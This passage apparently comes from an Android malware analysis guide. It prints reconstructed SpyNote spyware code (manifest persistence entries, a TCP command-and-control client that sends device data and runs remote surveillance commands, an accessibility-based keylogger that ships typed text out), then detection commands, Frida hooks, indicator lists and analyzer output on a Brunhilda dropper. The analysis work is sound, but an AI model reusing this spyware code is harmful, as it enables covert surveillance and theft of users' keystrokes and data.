service
android:name
=
".core.KeylogService"
android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
>
<
intent-filter
>
<
action
android:name
=
"android.accessibilityservice.AccessibilityService"
/>
</
intent-filter
>
</
service
>
<!-- Notification listener -->
<
service
android:name
=
".core.NotificationService"
android:permission
=
"android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
>
<
intent-filter
>
<
action
android:name
=
"android.service.notification.NotificationListenerService"
/>
</
intent-filter
>
</
service
>
<!-- Boot persistence -->
<
receiver
android:name
=
".core.BootReceiver"
>
<
intent-filter
>
<
action
android:name
=
"android.intent.action.BOOT_COMPLETED"
/>
</
intent-filter
>
</
receiver
>
<!-- Device Admin (anti-uninstall) -->
<
receiver
android:name
=
".core.AdminReceiver"
android:permission
=
"android.permission.BIND_DEVICE_ADMIN"
>
<
meta-data
android:name
=
"android.app.device_admin"
android:resource
=
"@xml/admin_policies"
/>
</
receiver
>
</
application
>
</
manifest
>
C2 communication — custom TCP protocol:
Unlike FluBot and Cerberus which use HTTP, SpyNote uses a raw TCP socket with a custom binary protocol. This avoids HTTP-level inspection:
// SpyNote C2 client (reconstructed from decompilation)
public
class
C2Client
{
private
static
final
String
C2_HOST
=
"192.168.1.100"
;
// Decrypted at runtime
private
static
final
int
C2_PORT
=
5555
;
// Configurable in builder
private
Socket socket;
private
DataInputStream inputStream;
private
DataOutputStream outputStream;
public
void
connect
()
throws
IOException {
socket =
new
Socket
(C2_HOST, C2_PORT);
inputStream =
new
DataInputStream
(socket.getInputStream());
outputStream =
new
DataOutputStream
(socket.getOutputStream());
// Initial handshake: send device info
sendDeviceInfo();
// Start command listener thread
new
Thread
(
this
::commandLoop).start();
}
private
void
sendDeviceInfo
()
throws
IOException {
JSONObject
info
=
new
JSONObject
();
info.put(
"device_id"
, getDeviceId());
info.put(
"model"
, Build.MODEL);
info.put(
"manufacturer"
, Build.MANUFACTURER);
info.put(
"android_version"
, Build.VERSION.RELEASE);
info.put(
"phone_number"
, getPhoneNumber());
info.put(
"operator"
, getTelephonyManager().getNetworkOperatorName());
info.put(
"battery"
, getBatteryLevel());
info.put(
"installed_apps"
, getInstalledApps());
sendPacket(COMMAND_DEVICE_INFO, info.toString().getBytes());
}
private
void
sendPacket
(
int
command,
byte
[] data)
throws
IOException {
// Packet format: [4-byte length][1-byte command][N-byte data]
outputStream.writeInt(data.length +
1
);
outputStream.writeByte(command);
outputStream.write(data);
outputStream.flush();
}
private
void
commandLoop
()
{
while
(!socket.isClosed()) {
try
{
int
length
=
inputStream.readInt();
int
command
=
inputStream.readByte() &
0xFF
;
byte
[] data =
new
byte
[length -
1
];
inputStream.readFully(data);
handleCommand(command, data);
}
catch
(IOException e) {
reconnect();
// Automatic reconnection
}
}
}
private
void
handleCommand
(
int
command,
byte
[] data)
{
switch
(command) {
case
CMD_GET_LOCATION: sendLocation();
break
;
case
CMD_TAKE_PHOTO: takePhoto(data);
break
;
case
CMD_RECORD_AUDIO: startRecording();
break
;
case
CMD_LIST_FILES: sendFileList(data);
break
;
case
CMD_GET_FILE: sendFile(data);
break
;
case
CMD_SEND_SMS: sendSMS(data);
break
;
case
CMD_GET_CONTACTS: sendContacts();
break
;
case
CMD_START_KEYLOG: enableKeylog();
break
;
case
CMD_HIDE_ICON: hideIcon();
break
;
}
}
}
Keylogging implementation:
// SpyNote keylogger via Accessibility Events
public
class
KeylogService
extends
AccessibilityService
{
private
StringBuilder
keyBuffer =
new
StringBuilder
();
@Override
public
void
onAccessibilityEvent
(
AccessibilityEvent event
) {
int eventType = event.
getEventType
();
// TYPE_VIEW_TEXT_CHANGED fires when user types in any text field
if
(eventType ==
AccessibilityEvent
.
TYPE_VIEW_TEXT_CHANGED
) {
String
packageName =
String
.
valueOf
(event.
getPackageName
());
String
text = event.
getText
().
toString
();
long timestamp =
System
.
currentTimeMillis
();
// Log: timestamp, app, text typed
logKeystroke
(timestamp, packageName, text);
}
// TYPE_WINDOW_STATE_CHANGED fires when user switches apps
if
(eventType ==
AccessibilityEvent
.
TYPE_WINDOW_STATE_CHANGED
) {
String
packageName =
String
.
valueOf
(event.
getPackageName
());
// Record app switches for context
logAppSwitch
(packageName);
}
}
private
void
logKeystroke
(
long ts,
String
app,
String
text
) {
// Append to buffer; flush to C2 every 30 seconds
keyBuffer.
append
(
String
.
format
(
"[%d][%s]: %s\n"
, ts, app, text));
if
(keyBuffer.
length
() >
4096
) {
C2Client.
getInstance
().
send
(
CMD_KEYLOG_DATA
, keyBuffer.
toString
().
getBytes
());
keyBuffer =
new
StringBuilder
();
}
}
}
Dynamic Analysis of SpyNote
Identifying the C2 TCP connection:
# Watch for outbound TCP connections on common SpyNote ports
adb shell netstat -an
|
grep -E
"5555|7777|8888|9999"
|
grep ESTABLISHED
# Capture the TCP stream
adb shell su -c
"tcpdump -i any -w /sdcard/capture.pcap host [SUSPECTED_C2_IP]"
adb pull /sdcard/capture.pcap
# In Wireshark:
# Filter: tcp && ip.addr == [C2_IP]
# Follow TCP Stream to see the raw binary protocol
# Look for: device info JSON in first packet, then binary command frames
Frida hook for SpyNote camera access:
// Detect and log camera activation
Java.
perform
(function() {
var
CameraManager = Java.
use
(
"android.hardware.camera2.CameraManager"
);
var
openCameraOrig = CameraManager.openCamera.
overload
(
"java.lang.String"
,
"android.hardware.camera2.CameraDevice
$StateCallback
"
,
"android.os.Handler"
);
openCameraOrig.implementation =
function
(
cameraId, callback, handler
)
{
console.
log
(
"[CAMERA OPENED] Camera ID: "
+ cameraId);
console.
log
(
" Stack trace: "
+ Java.
use
(
"android.util.Log"
)
.
getStackTraceString
(Java.
use
(
"java.lang.Exception"
).
$new
()));
return
openCameraOrig.
call
(this, cameraId, callback, handler);
};
// Hook AudioRecord for microphone access
var
AudioRecord = Java.
use
(
"android.media.AudioRecord"
);
var
startRecordingOrig = AudioRecord.startRecording.
overload
();
startRecordingOrig.implementation =
function
(
)
{
console.
log
(
"[MICROPHONE STARTED]"
);
console.
log
(
" Stack trace: "
+ Java.
use
(
"android.util.Log"
)
.
getStackTraceString
(Java.
use
(
"java.lang.Exception"
).
$new
()));
return
startRecordingOrig.
call
(this);
};
});
Detecting icon hiding:
# SpyNote calls setComponentEnabledSetting to hide its icon
# Monitor PackageManager calls
adb logcat |
grep
-i
"setComponentEnabled\|COMPONENT_ENABLED_STATE"
# Frida hook for icon hiding
Java.
perform
(function() {
var
PackageManager = Java.
use
(
"android.app.ApplicationPackageManager"
);
var
setComponentOrig = PackageManager.setComponentEnabledSetting.
overload
(
"android.content.ComponentName"
,
"int"
,
"int"
);
setComponentOrig.implementation =
function
(
component, newState, flags
)
{
console.
log
(
"[ICON HIDE ATTEMPT]"
);
console.
log
(
" Component: "
+ component.
getClassName
());
console.
log
(
" New state: "
+ newState);
// newState == 2 means COMPONENT_ENABLED_STATE_DISABLED
// This hides the app icon from the launcher
return
setComponentOrig.
call
(this, component, newState, flags);
};
});
SpyNote IOCs
NETWORK INDICATORS:
Protocol:
raw
TCP
(not
HTTP)
Port:
typically
5555
,
7777
,
8888
,
or
operator-configured
C2 host:
IP
address
(no
domain
—
avoids
DNS-based
detection)
Initial packet:
JSON
device
info
blob
Persistent connection:
reconnects
immediately
on
disconnect
HOST INDICATORS:
Disguised package name:
fake
utility,
security
scanner,
or
VPN
Accessibility Service:
present
(keylogging)
NotificationListenerService:
present
(notification
monitoring)
Device Admin:
registered
(prevents
uninstall)
FOREGROUND_SERVICE:
runs
persistently
with
fake
service
name
Hidden icon:
launcher
component
disabled
shortly
after
install
BEHAVIORAL INDICATORS:
Outbound
TCP
connection
to
non-standard
port
immediately
after
launch
Requests
Accessibility
permission
+
Device
Admin
+
Notification
access
Hides
icon
after
permissions
granted
Camera
or
microphone
activated
without
user
interaction
Location
data
queried
on
interval
Persistent
foreground
notification
(may
be
disguised
as
system
notification)
Full report with analyzer.py:

11:09:31 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase 1: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk │
│ Size 4300.9 KB (4,404,159 bytes) │
│ MD5 0f4733a3a188ca0ddf3f730b17b23e20 │
│ SHA256 301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ Package com.tfapasswords.app │
│ App Name SafeYourAccount │
│ Version 1.0 (1) │
│ SDK min=24 target=28 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase 2: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk Level: 🔴 HIGH (77/100) │
│ │
│ [██████████████████████████████░░░░░░░░░░] │
│ │
│ Permissions: 100/100 │
│ Behavior: 100/100 │
│ Network: 0/100 │
│ Obfuscation: 15/100 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.SYSTEM_ALERT_WINDOW │
│ │ │ SYSTEM_ALERT_WINDOW │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.REQUEST_INSTALL_PACK… │
│ │ │ REQUEST_INSTALL_PACKAGES │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Accessibility Service │ com.tfapasswords.app.Activities.Accessi… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious API: Window Overlay │ Landroid/view/WindowManager;
-
>
addView
│
│ │ │ │ (in Lb/b/p/c │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lc/h/a/i │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/view/accessibility/Accessibili… │
│ │ │ Service │ Landroid/view/accessibility/Accessibili… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Privilege │ Root/Superuser Access Attempts │ superuser │
│ │ Escalation │ │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: CAMERA │ android.permission.CAMERA │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.RECEIVE_BOOT_COMPLET… │
│ │ │ RECEIVE_BOOT_COMPLETED │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/reflect/Field;->setAccessible │
│ │ │ │ (in Landr │
│ │ │ │ Ljava/lang/Class;->forName (in │
│ │ │ │ Landroid/support/v4 │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Camera Access │ Landroid/hardware/Camera$Parameters;->s… │
│ │ │ │ Landroid/hardware/Camera$Parameters;->g… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Obfuscation │ Code Obfuscation (
score
:
3
/
10
) │ High ratio of short class names │
│ │ │ │ (
203
/
500
) - likely │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/Cipher;->wrap (in Lb/t/v;) │
│ │ │ │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Lb/t │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
6
total)
Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.CAMERA MEDIUM
android.permission.RECEIVE_BOOT_COMPLETED MEDIUM
android.permission.REQUEST_INSTALL_PACKAGES HIGH
android.permission.SYSTEM_ALERT_WINDOW HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.INTERNET INFO
Network IOCs
Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Domain github.com
Domain schemas.android.com
URL
https
:
//github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/
URL
http
:
//schemas.android.com/apk/res-auto
URL
http
:
//schemas.android.com/apk/res/android
Semantic Component Analysis (
3
findings)
Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CRITICAL service Accessibility Service Abuse T1417 AccessibilityService
HIGH string Webinject/Overlay Terms T1417 Overlay
HIGH string Root/Superuser Access T1626 superuser
Rule-based family
inference
: Banking Trojan / RAT (
confidence
:
50%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
32
/
76
(
32
malicious,
0
suspicious,
35
clean) │
│ Threat Label trojan.brunhilda/andr │
│ Families brunhilda, andr, fimk │
│ File Type Android │
│ Common Name
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk │
│ First Seen
2020
-
10
-
03
│
│ Last Analyzed
2025
-
11
-
10
│
│ Submissions
15
submissions /
13
unique sources │
│ Tags [reflection] [apk] [obfuscated] [android] [telephony] [checks-gps] │
│ VT Link
https
:
//www.virustotal.com/gui/file/301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk |
0
f4733a3a188ca0ddf3f730b17b23e20.apk | SafeYourAccount.apk |
0
f4733a3a188ca0ddf3f730b17b23e20 (
1
).apk | sep_cerberus.apk |
60
df2725b2b20f64dd47ecc29c678abda86d41ee.apk | │
│
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.bin |
0
f4733a3a188ca0ddf3f730b17b23e20.virus │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
32
malicious /
0
suspicious /
76
total
╭──────────────────────┬────────────────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.DownLoader.
5078
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ a variant of Android/TrojanDownloader.Agent.SU │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/Agent.SU!tr │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Downloader.AndroidOS.Agent.kf │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Xgen-AOV │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.
2
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AVG │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ PUP/Android.Agent.
1015709
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanDownloader
:Android/Agent.
653271
b4 │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Brunhilda-C [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.Brunhilda.A │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CAT-QuickHeal │ Android.Banker.Q │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.brunhilda │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Google │ Detected │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Downloader.AndroidOS.Agent │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan-Downloader (
0056
f8d71 ) │ MALICIOUS │
╰──────────────────────┴────────────────────────────────────────────────┴──────────────╯
Phase
3
: YARA Scanning
YARA
:
1
rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Rule
: BankingTrojan_Cerberus │
│
Desc
: Cerberus/Alien banking trojan - accessibility + clipboard hijack + crypto │
│
Category
: Banking Trojan │
│
MITRE
: T1417 │
│
Matched
: AccessibilityService, ClipboardManager, setPrimaryClip │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
Classification
: Dropper |
Family
: Brunhilda |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This is a Brunhilda dropper disguised as a two-factor authentication (
2
FA) app called
'SafeYourAccount'
. Brunhilda is a Dropper-as-a-Service (DaaS) operation that wraps legitimate open-source apps with malicious dropper functionality to deliver second-stage banking trojans (commonly Alien/Cerberus variants). │
│ With
32
/
76
VirusTotal detections explicitly naming
'Brunhilda'
and
'TrojanDownloader'
,
and
capabilities including overlay attacks, accessibility service abuse,
and
package installation, this sample poses a critical threat to any user who installs it — particularly those targeted for banking credential theft via │
│ the dropped payload. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The package
'com.tfapasswords.app'
masquerades as a legitimate
2
FA/TOTP authenticator application. The app name
'SafeYourAccount'
is a classic social engineering lure — users seeking to protect their accounts ironically install malware. The package appears to be a trojanized version of the open-source
'andOTP'
│
│
or
similar TOTP app, as evidenced by legitimate components like barcode scanning (journeyapps.barcodescanner.CaptureActivity), material intro screens (heinrichreimersoftware.materialintro),
and
the AboutLibraries library (mikepenz.aboutlibraries). This is a hallmark of Brunhilda
operations
: wrapping legitimate │
│ apps with dropper capabilities to pass initial review. │
│ │
│ The Brunhilda dropper's primary mechanism relies on three critical permissions working in
concert
: SYSTEM_ALERT_WINDOW for overlay-based social engineering to trick users into granting permissions, REQUEST_INSTALL_PACKAGES to sideload the second-stage payload (typically an Alien/Cerberus banking trojan),
and
the │
│ AccessibilityService (com.tfapasswords.app.Activities.AccessibilityService) to automate permission grants
and
interact with the installation UI. The AccessibilityService
's onServiceConnected() method references '
alarm' strings, indicating it sets up recurring scheduled tasks — likely polling for payload delivery │
│
or
C2 instructions. The YARA match for Cerberus/Alien is consistent with Brunhilda's known payload families. │
│ │
│ The certificate claims to be from
'Google Inc.'
(CN=Android, O=Google Inc., L=Mountain View) but is self-signed — a trivial but effective deception against casual inspection. This fake Google certificate is a well-documented Brunhilda indicator. The obfuscation is light (ProGuard-level, score
3
/
100
) with
203
/
500
│
│ short class names, which is typical of Brunhilda samples that rely more on the legitimate app wrapper than heavy obfuscation for evasion. Obfuscated classes like Lb/b/k/r (location tracking), Lb/b/p/c1 (window overlay),
and
Lc/h/a/i/e (window overlay) contain the malicious functionality. │
│ │
│ The network IOC surface is deliberately clean in static analysis — no hardcoded C2 URLs,
only
references to github.com (from the legitimate library)
and
Android schema namespaces. This is expected for
Brunhilda
: the C2 configuration is either fetched dynamically after installation
or
embedded in encrypted │
│ preferences (note the
'PasswordEncryptedPreference'
class). The BootBroadcastReceiver ensures persistence across reboots, while the EncryptedBackupBroadcastReceiver
and
PlainTextBackupBroadcastReceiver likely handle encrypted configuration
or
payload storage rather than legitimate backup functionality. The │
│
'superuser'
string reference
and
root/superuser semantic finding (T1626) suggest the dropper may attempt privilege escalation on rooted devices. │
│ │
│ DrWeb
's detection as '
Android.DownLoader.
5078
' and Kaspersky'
s
'Trojan-Downloader.AndroidOS.Agent.kf'
confirm the primary function is downloading
and
installing a second-stage payload. ESET
's '
Android/TrojanDownloader.Agent.SU' corroborates this classification. The Brunhilda DaaS infrastructure typically uses │
│ Telegram channels
or
encrypted cloud storage for payload hosting, making static C2 extraction difficult. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► Second-stage payload downloading
and
installation (Dropper-as-a-Service) │
│ ► Accessibility Service abuse for automated UI interaction
and
permission escalation │
│ ► Overlay/SYSTEM_ALERT_WINDOW for social engineering
and
phishing │
│ ► Boot persistence via BroadcastReceiver │
│ ► Location tracking for geofencing/victim profiling │
│ ► Camera access for potential surveillance │
│ ► Encrypted preference storage for configuration/C2 data │
│ ► Legitimate
2
FA app functionality as cover │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1417 Input Capture Collection AccessibilityService (com.tfapasswords.app.Activities.Access
T1626 Abuse Elevation Control Privilege Escalation Semantic finding of
'superuser'
string indicates root/privil
Mechanism
T1407 Download New Code at Runtime Defense Evasion Primary dropper function — REQUEST_INSTALL_PACKAGES permissi
T1406 Obfuscated Files
or
Defense Evasion ProGuard obfuscation (
203
/
500
short class names), encrypted
Information
T1430 Location Tracking Collection LocationManager.getLastKnownLocation called in obfuscated cl
T1398 Boot
or
Logon Initialization Persistence BootBroadcastReceiver (com.tfapasswords.app.Receivers.BootBr
Scripts
T1444 Masquerade as Legitimate Defense Evasion Trojanized
2
FA authenticator app with working functionality;
Application
T1411 Input Prompt Credential Access SYSTEM_ALERT_WINDOW + WindowManager.addView overlay attacks
T1512 Video Capture Collection CAMERA permission requested — potential for covert photo/vid
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ •
md5
:
0
f4733a3a188ca0ddf3f730b17b23e20 │
│ •
package
:com.tfapasswords.app │
│ •
app_name
:SafeYourAccount │
│ •
cert_sha256
:
2
c8c03d8c0b8c18c9f33c88d8647471ab4d426b0d4f7ff2ed61dd1ad94d50415 │
│ •
service
:com.tfapasswords.app.Activities.AccessibilityService │
│ •
receiver
:com.tfapasswords.app.Receivers.BootBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.EncryptedBackupBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.PlainTextBackupBroadcastReceiver │
│ •
cert_cn_spoof
:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
.
1
. Immediately uninstall
'SafeYourAccount'
(com.tfapasswords.app) from the device │
│
2
.
2
. Check Settings → Accessibility → Installed Services
and
disable/remove any suspicious accessibility services │
│
3
.
3
. Review Settings → Apps for any recently installed unknown applications that may be the dropped second-stage payload │
│
4
.
4
. Change all banking
and
financial account passwords from a separate, clean device │
│
5
.
5
. Contact your bank to report potential compromise
and
request enhanced monitoring/new credentials │
│
6
.
6
. If the app was used as a
2
FA authenticator, re-enroll all
2
FA tokens from a clean device — the attacker may have captured TOTP seeds │
│
7
.
7
. Factory reset the device if a second-stage payload was installed, as it may have deeper persistence │
│
8
.
8
. Enable Google Play Protect
and
only
install apps from the official Google Play Store │
│
9
.
9
. Report the sample SHA256 to your organization's SOC
and
threat intelligence platform │
│
10
.
10
. Monitor bank accounts
and
credit reports for unauthorized activity for at least
90
days │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
// Brunhilda Dropper Analysis - Frida Hook Script │
│
2
// Target: com.tfapasswords.app (SafeYourAccount / Brunhilda DaaS) │
│
3
// Purpose: Intercept dropper behavior, payload download, overlay attacks, accessibility abuse │
│
4
│
│
5
